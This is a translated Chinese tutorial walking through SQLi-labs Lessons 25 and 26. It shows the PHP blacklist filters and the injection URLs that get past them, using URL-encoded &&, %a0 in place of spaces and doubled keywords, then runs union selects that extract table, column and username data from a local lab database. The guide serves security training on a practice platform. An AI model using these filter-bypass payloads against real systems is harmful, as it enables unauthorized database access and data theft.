如何手动绕过SQL注入过滤器?(一)

在前面的文章中(传送门),你应该已经学会了一些关于SQL注入的基本概念,但是在有些情况下,你会发现这些知识竟然不管用了,这是为什么呢?原因就在于开发者采取了一些防止SQL注入的措施。有时,开发者会使用过滤器对用户输入做一些处理,具体来说就是在用户输入被添加到SQL查询语句中之前,将其中的一些字母和操作符剔除,以此来防止SQL注入攻击。本篇文章会帮助你应对此类情况,并教你如何绕过这种过滤器。我们使用的仍然是Dhakkan平台。

LESSON 25

本节中,函数OR和AND被过滤掉了,为此,我们要使用它们的替代品来绕过该过滤器。

function blacklist($id)

$id=preg_replace('/OR/i',"",$id);          //strip out OR (non case sensitive)

$id=preg_replace('/AND/i',"",$id);        //strip out AND (non case sensitive)

替代品:

AND: && %26%26

OR: ||

由于OR,AND被列入黑名单,因此当使用AND 1=1或OR 1=1时就得不到想要的结果了,所以这里换用了 %26%26 。

打开浏览器,输入http://localhost:81/sqli/Less-25/?id=1' %26%26 1=1 --+。(注:具体以个人配置为准)

由上图可以看出,我们使用URL编码 %26%26 成功地解决了AND(&&)被过滤掉的问题。

如果你已经明白了上面的绕过AND过滤器的方法,那么请接着往下看,接下来我们会对该SQL查询语句做一点小小的改动以获取数据库信息。

http://localhost:81/sqli/Less-25/?id=-1' union select 1,2,3 %26%26 1=1 --+

由上图可以看出,显示的是第一列和第二列。

先使用联合注入获取数据库名:

http://localhost:81/sqli/Less-25/?id=-1' union select 1,database(),3 %26%26 1=1 --+

由上图可以看出,数据库名为'security'。

下一条查询来看看数据库中有哪些表:

http://localhost:81/sqli/Less-25/?id=-1'

union select 1,group_concat(table_name),3 from

infoorrmation_schema.tables where table_schema=database() %26%26 1=1 --+

由上图可以看出,当前的表名有:

T1: emails

T2: referers

T3: uagents

T4: users

接着来试找出表users的列名有哪些,使用以下查询:

http://localhost:81/sqli/Less-25/?id=-1'

union select 1,group_concat(column_name),3 from

infoorrmation_schema.columns where table_name='users' %26%26 1=1 --+

由上图可以看出,该表包含了三列,分别是:

C1: id

C2: username

C3: password

在本节的最后,我们使用以下查询看看表users中的username都有哪些:

http://localhost:81/sqli/Less-25/?id=-1' union select 1,group_concat(username),3 from users --+

由上图可以看出,username有Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4。

小结

在第二十五节,我们学习了如何绕过AND和OR过滤器来获取数据库中的信息。

Lesson 26

本节延续上一节(传送门)。进入实验室后,你会发现本次面临着比上一回更大的挑战,因为空格、注释、OR和AND全被过滤掉了。不过,和上一回相同,我们还是通过寻找它们的替代品来绕过该过滤器。

function blacklist($id)

$id=preg_replace('/OR/i',"",$id);        //strip out OR (non case sensitive)

$id=preg_replace('/AND/i',"",$id);        //strip out AND (non case sensitive)

$id=preg_replace('/[\/\*]/',"",$id);        //strip out /*

$id=preg_replace('/[-]/',"",$id);        //strip out -

$id=preg_replace('/[#]/',"",$id);        //strip out #

$id=preg_replace('/[\s]/',"",$id);        //strip out space

$id=preg_replace('/[\/\\\\]/',"",$id);        //strip out slashes

Blanks=('%09', '%0A', '%0B', '%0C', '%0D', '%a0')

首先打开浏览器,输入http://localhost:81/sqli/Less-26/?id=1'%a0%26%26'1=1(注:具体以个人配置为准)

由上图可以看出,使用URL编码 %a0 我们已经成功地解决了空格的问题。

如果你已经明白了上面的方法,那么接下来,我们会对SQL查询语句做一点小小的改动以获取数据库信息。

http://localhost:81/sqli/Less-26/?id=0'%a0union%a0select%a01,2,3%a0%26%26'1=1

由上图可以看出,显示的是第一列和第二列。(注:此图为译者所截,原文此处有误)

还是先获取数据库名:

http://localhost:81/sqli/Less-26/?id=0'%a0union%a0select%a01,database(),3%a0%26%26'1=1

由上图可以看出,数据库名为'security'。

接着来看看数据库中有哪些表:

http://localhost:81/sqli/Less-26/?id=0'%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0%26%26'1=1

由上图可以看出,当前的表名有:

T1: emails

T2: referers

T3: uagents

T4: users

接着来看看表users中有哪些列:

http://localhost:81/sqli/Less-26/?id=0'%a0union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='users'%a0%26%26'1=1

由上图可以看出,该表包含了三列,分别是:

C1: id

C2: username

C3: password

在本节的最后,一起来看看表users中的username都有哪些:

http://localhost:81/sqli/Less-26/?id=0'%a0union%a0select%a01,group_concat(username),3%a0from%a0users%a0where%a01%26%26%a0'1

由上图可以看出,username有Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4。

小结

在第二十六节,我们学习了如何绕过AND、OR、空格和注释过滤器来获取数据库中的信息。

本文由 看雪翻译小组 hesir 编译,来源 Hacking Articles@Raj Chandel

如果你喜欢的话,不要忘记点个赞哦!

推荐阅读更多精彩内容

  • Lesson 27 本节延续上一节(传送门)。难度愈发的大了,因为这次被过滤掉的有UNION/union,SELE...
    看雪学院阅读 377评论 0 0
  • 原文首发 看雪论坛[翻译]SQL注入新手教程(第2部分)-『外文翻译』-看雪安全论坛 如今有很多种使用SQL注入攻...
    看雪学院阅读 1,105评论 0 3
  • 讲述了曾国藩的养身之道。一、饭后散步,促进血液循环和胃部消化。二、睡前洗脚,有利于睡眠的质量。三、胸无恼怒,保持心...
    飞鹰于凯阅读 191评论 1 1
  • 记得当日夜话忙。 人在回廊。 月在回廊。 今日对镜贴花黄。 容也绽放。 心也绽放。 吾心不知何处放。 行也思量。 ...
    陌上佳人阅读 111评论 0 0
  • 搬家第一 天,通常来说会难过和不舍,这次也一样,但是更多的是充满信心和期待未来。 早上10点多开始搬箱子,5个人一...
    婷不住阅读 128评论 0 1
  • 我不能忍受 没有风儿敲打窗棂的夜晚 因为我睡不着 我不能忍受 没有鸟儿嘤鸣的早晨 因为我醒不了 我不能忍受 没有你...
    阿信_5edf阅读 157评论 1 0
  • 在黑暗的河流上,有莲盛开,是怎样的星光灿烂,让静默河流有了迷幻诱人的色泽。 我荡桨而来,眉目清秀,视线被在彼岸伸手...
    慕小酥阅读 284评论 0 1